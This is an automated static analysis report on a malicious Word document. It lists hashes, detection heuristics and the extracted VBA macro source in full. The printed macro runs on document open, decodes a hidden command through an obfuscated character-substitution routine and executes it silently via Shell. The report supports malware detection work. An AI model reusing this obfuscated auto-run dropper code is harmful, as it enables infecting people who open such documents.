Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b736bc2344ed411e…

MALICIOUS

Office (OLE)

46.0 KB Created: 2018-10-07 19:30:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 5648ac81fe6c7b063374c8ab5853354b SHA-1: 8a6aa0ad922f86d185d81a034456af9ec4969ad1 SHA-256: b736bc2344ed411eb2944ce2721a019a309d4c1cc1e13462dcaa89b7fe2b0d6b
190 Risk Score

Heuristics 6

  • ClamAV: Doc.Malware.Generic-6712826-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6712826-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell signame, 0
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3024 bytes
SHA-256: c9e561092bc1342b9048106b49a24b15e685933f3eb39593666546afe6c28d7b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
af = "1"
af = "2"
af = "3"
addressing af
af = "4"
End Sub

Attribute VB_Name = "intege"
Attribute VB_Base = "0{94035314-3BF0-4620-970A-A0DFF039DF83}{A1C1EA3A-E6C6-4A65-B95F-B5887DC9FFD4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub xml_Change()
strchr = 36
strchr = 72
strchr = 18
strchr = 29
strchr = 8
strchr = 19
strchr = 39
strchr = 8
strchr = 32
strchr = 33
strchr = 65
strchr = 100
signame = intege.XML
strchr = 82
strchr = 21
strchr = 39
strchr = 43
strchr = 29
strchr = 18
strchr = 18
strchr = 76
strchr = 61
strchr = 76
strchr = 86
strchr = 79
Shell signame, 0
strchr = 33
strchr = 43
strchr = 65
strchr = 16
strchr = 17
strchr = 75
strchr = 59
strchr = 73
strchr = 7
strchr = 44
strchr = 41
strchr = 21
strchr = 53
strchr = 19
strchr = 33
strchr = 75
strchr = 65
strchr = 48
strchr = 29
strchr = 33
strchr = 8
strchr = 62
strchr = 96
strchr = 98
strchr = 71
strchr = 16
End Sub

Private Sub callstackArray_Change()
have
End Sub

Private Sub allocating_Change()

End Sub

Attribute VB_Name = "characters"
Public Sub addressing(p)
intege.callstackArray = p
End Sub

Attribute VB_Name = "cppc"
Public Sub have()
itf = ""
Hardware intege.flet, itf
intege.OS2 = itf
intege.XML = intege.OS2
End Sub

Attribute VB_Name = "StackWalk64"
Sub doConvert(SIGUSR2, mytstack, ByRef fpSymFunctionTableAccess64)
fpSymFunctionTableAccess64 = Right(Left(SIGUSR2, mytstack), 1)
End Sub

Sub Hardware(strncpy, ByRef errorlist)
errorlist = ""
T = 1
tryLoadLibrary T, errorlist, strncpy
End Sub

Sub tryLoadLibrary(ByRef GetExceptionCode, ByRef frame, cppC)
If GetExceptionCode <= Len(cppC) Then
dc = ""
doConvert cppC, GetExceptionCode, dc
ic = 1
iostream dc, ic
dc2 = ""
done ic - 1, dc2
frame = frame + dc2
GetExceptionCode = GetExceptionCode + 1
tryLoadLibrary GetExceptionCode, frame, cppC
End If
End Sub

Sub output_buffer(ByRef result, ByRef portable, REG_ERR)
If result < Len(intege.Subscript) Then
    dc = ""
    doConvert intege.Subscript, result, dc
    If REG_ERR <> dc Then
    result = result + 1
    output_buffer result, portable, REG_ERR
    Else
    portable = result
    End If
End If
End Sub

Sub done(exist, ByRef strings)
strings = ""
If exist < 1 Then
doConvert intege.Subscript, Len(intege.Subscript) + exist, strings
Else
doConvert intege.Subscript, exist, strings
End If
End Sub

Sub iostream(REG_ERR, ByRef portable)
result = 1
portable = 1
output_buffer result, portable, REG_ERR
End Sub